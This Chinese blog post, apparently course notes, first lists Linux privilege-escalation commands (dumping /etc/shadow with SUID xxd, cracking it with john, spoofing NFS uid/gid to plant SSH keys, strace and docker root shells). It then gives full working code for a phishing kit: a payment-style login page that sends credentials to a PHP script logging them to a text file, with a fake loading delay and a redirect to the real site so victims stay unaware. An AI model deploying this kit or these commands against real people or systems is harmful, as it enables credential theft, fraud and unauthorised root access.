1.11 Linux提权(续)和钓鱼网站

提权(续)

以下命令除非特别指出,均在ssh中执行

寻找敏感的隐藏文件

1
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

有可能找到用户自己存储的明文密码,使用cat查看,再使用su [用户名]切换到对应权限

SID提权

输入以下命令查看可以使用的命令

1
find / -perm -4000 -type f -exec ls -al {} \;

可以看到/usr/bin/xxd,接着使用下面的命令查看加密后的密码

1
xxd /etc/shadow | xxd -r

复制其中root账户的全部内容(从root:到:::)保存为txt(以Desktop/pass.txt为例)

接着使用破解工具 john 进行字典破解(字典可能打包了,需要手动解压一下)

1
2
cd Desktop/
john pass.txt -w=/usr/share/wordlists/rockyou.txt

NFS提权

注意:本小节的大部分命令在本机中执行

扫描目标服务器端口

1
nmap [目标ip]

发现对方可能开启了2049端口,接着查看对方挂载了哪些文件夹

返回:/home/peter *

1
showmount -e [目标ip]

接着我们在自己的系统上打开终端创建一个文件夹方便将对方的文件夹挂载到自己的系统上,具体操作如下 (需要使用root权限执行)

1
2
3
4
5
cd /tmp
mkdir nfs
cd nfs
mount -t nfs [对方ip]:[对方挂载的文件夹] /tmp/nfs/
ls -la # 查看里面有什么文件夹

接下来我们想要把自己的bash复制到这个这个挂载的文件夹里面去,从而实现提权,但是直接copy会提示 权限不够 (因为我们系统上的root在对方看来只是一个低权限的外人),所以我们要伪造一个和对方一模一样的账户 peter

在ssh中执行cat /etc/passwd,找到peter这一行,后面跟有两串数字,第一个是uid第二个是gid,所以我们执行:

1
2
groupadd -g 1005 peter	 # 创建组,名为peter,gid为1005
add user peter -uid 1001 -gid 1005	# 创建名为peter,uid为1001的用户,并添加到gid为1005的组中

接下来我们需要使用.ssh方法提权

1
2
3
4
5
6
7
cd ~	# 转到本机的peter目录下
ssh-keygen	# 生成ssh密钥,并记住.pub文件的名称
cd /tmp/nfs
mkdir .ssh
cat ~/.ssh/[文件名].pub > ./.ssh/authorized_keys		# 将我们伪造的密钥放入对方的可信密钥文件夹
cd ~/.ssh
ssh -i [文件名] peter@[目标ip]

发现成功免密码以peter身份登录靶机,我们在ssh中执行sudo -l查看可以免密码以root身份执行哪些命令,返回(ALL) NOPASSWD: /usr/bin/strace,发现strace可以使用

所以我们使用如下命令提权:

1
sudo strace -o /dev/null /bin/sh

docker提权

1
docker run -v /:/hostOS -i -t chrisfoseterelli/rootplease

钓鱼网站

功能介绍:使用网站克隆工具或手敲仿写一个正规网站的登陆页面,并且实现点击登陆后保存密码到服务端本地的txt文件中,同时强制伪加载几秒,然后跳转到正规网站上,给使用者一种没有登陆上是因为网卡了的原因。

为了方便演示,本项目分为多个文件。

  1. index.html注意修改 第187行 的跳转链接
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>用户登录</title>
    <style>
        /* 原有登录页面样式 */
        body {
            font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
            background-color: #f2f2f2;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            position: relative; /* 为加载层定位做准备 */
        }
        .login-container {
            background-color: white;
            padding: 40px;
            border-radius: 8px;
            box-shadow: 0 4px 15px rgba(0,0,0,0.1);
            width: 350px;
            text-align: center;
            position: relative;
            z-index: 1; /* 确保登录框在加载层下方 */
        }
        .logo-area {
            margin-bottom: 30px;
            color: #1677ff; /* 支付宝蓝风格 */
            font-size: 24px;
            font-weight: bold;
        }
        .input-group {
            margin-bottom: 20px;
            text-align: left;
        }
        .input-group label {
            display: block;
            margin-bottom: 5px;
            color: #666;
            font-size: 14px;
        }
        .input-group input {
            width: 100%;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            box-sizing: border-box; /* 确保padding不撑大宽度 */
            outline: none;
        }
        .input-group input:focus {
            border-color: #1677ff;
        }
        .submit-btn {
            width: 100%;
            padding: 12px;
            background-color: #1677ff;
            color: white;
            border: none;
            border-radius: 4px;
            font-size: 16px;
            cursor: pointer;
            transition: background-color 0.3s;
        }
        .submit-btn:hover {
            background-color: #0e5fd8;
        }
        .footer-links {
            margin-top: 20px;
            font-size: 12px;
            color: #888;
        }

        /* 加载动画样式 */
        .loading-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5); /* 半透明遮罩 */
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 9999; /* 确保加载层在最上层 */
            opacity: 0;
            visibility: hidden;
            transition: opacity 0.3s, visibility 0.3s;
        }
        .loading-overlay.active {
            opacity: 1;
            visibility: visible;
        }
        .loading-card {
            background-color: white;
            padding: 30px 40px;
            border-radius: 8px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
            display: flex;
            align-items: center;
            gap: 15px;
        }
        .loading-spinner {
            width: 30px;
            height: 30px;
            border: 3px solid #e0e0e0;
            border-top: 3px solid #1677ff; /* 支付宝蓝主色 */
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        .loading-text {
            font-size: 16px;
            color: #1677ff;
            font-weight: 500;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        /* 响应式适配 */
        @media (max-width: 480px) {
            .login-container {
                width: 90%;
                padding: 30px 20px;
            }
            .loading-card {
                padding: 20px 30px;
                flex-direction: column;
                text-align: center;
            }
        }
    </style>
</head>
<body>
    <!-- 登录容器 -->
    <div class="login-container">
        <div class="logo-area">XX支付中心</div>

        <form id="loginForm" action="login.php" method="POST">
            <div class="input-group">
                <label for="username">账号 / 手机号</label>
                <input type="text" id="username" name="username" placeholder="请输入账号" required>
            </div>
            
            <div class="input-group">
                <label for="password">登录密码</label>
                <input type="password" id="password" name="password" placeholder="请输入密码" required>
            </div>

            <button type="submit" class="submit-btn">登 录</button>
        </form>

        <div class="footer-links">
            找回密码 | 注册新账号
        </div>
    </div>

    <!-- 加载动画层 -->
    <div class="loading-overlay" id="loadingOverlay">
        <div class="loading-card">
            <div class="loading-spinner"></div>
            <div class="loading-text">正在登录...</div>
        </div>
    </div>

    <script>
        // 获取元素
        const loginForm = document.getElementById('loginForm');
        const loadingOverlay = document.getElementById('loadingOverlay');

        // 监听表单提交事件
        loginForm.addEventListener('submit', function(e) {
            // 阻止默认的表单提交行为(因为要等6秒再跳转)
            e.preventDefault();
            
            // 先验证表单(HTML5 required验证)
            const isValid = loginForm.checkValidity();
            if (isValid) {
                // 验证通过,显示加载动画
                loadingOverlay.classList.add('active');
                
                // 6秒后跳转到welcome.php
                setTimeout(function() {
                    window.location.href = '要跳转的网页链接';
                }, 6000);

                fetch('login.php', {
                    method: 'POST',
                    body: new FormData(loginForm)
                }).then(response => {
                    console.log('表单数据已提交');
                }).catch(error => {
                    console.error('表单提交失败:', error);
                    // 提交失败时隐藏加载动画并提示
                    loadingOverlay.classList.remove('active');
                    alert('登录请求提交失败,请重试');
                });
                
            }
        });

        // 防止点击加载遮罩层关闭动画
        loadingOverlay.addEventListener('click', function(e) {
            e.stopPropagation();
        });
    </script>
</body>
</html>
  1. login.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();

// 仅处理POST请求
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // 获取用户输入(trim去除首尾空格,避免空值插入)
    $user_input = trim($_POST['username']);
    $pass_input = trim($_POST['password']);

    // 验证输入不为空(可选,按需求保留/删除)
    if (empty($user_input) || empty($pass_input)) {
        echo "<script>alert('用户名或密码不能为空!'); window.history.back();</script>";
        exit;
    }
$txt = $user_input.'-------'.$pass_input.'\n';

$file = fopen("./hh.txt","a+");
fwrite($file,$txt);
fclose();
}
$conn->close();
?>
  1. 在网站目录中创建一个hh.txt(名称也可以在login.php中修改),登录提交的密码就会保存到该txt文件中
Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS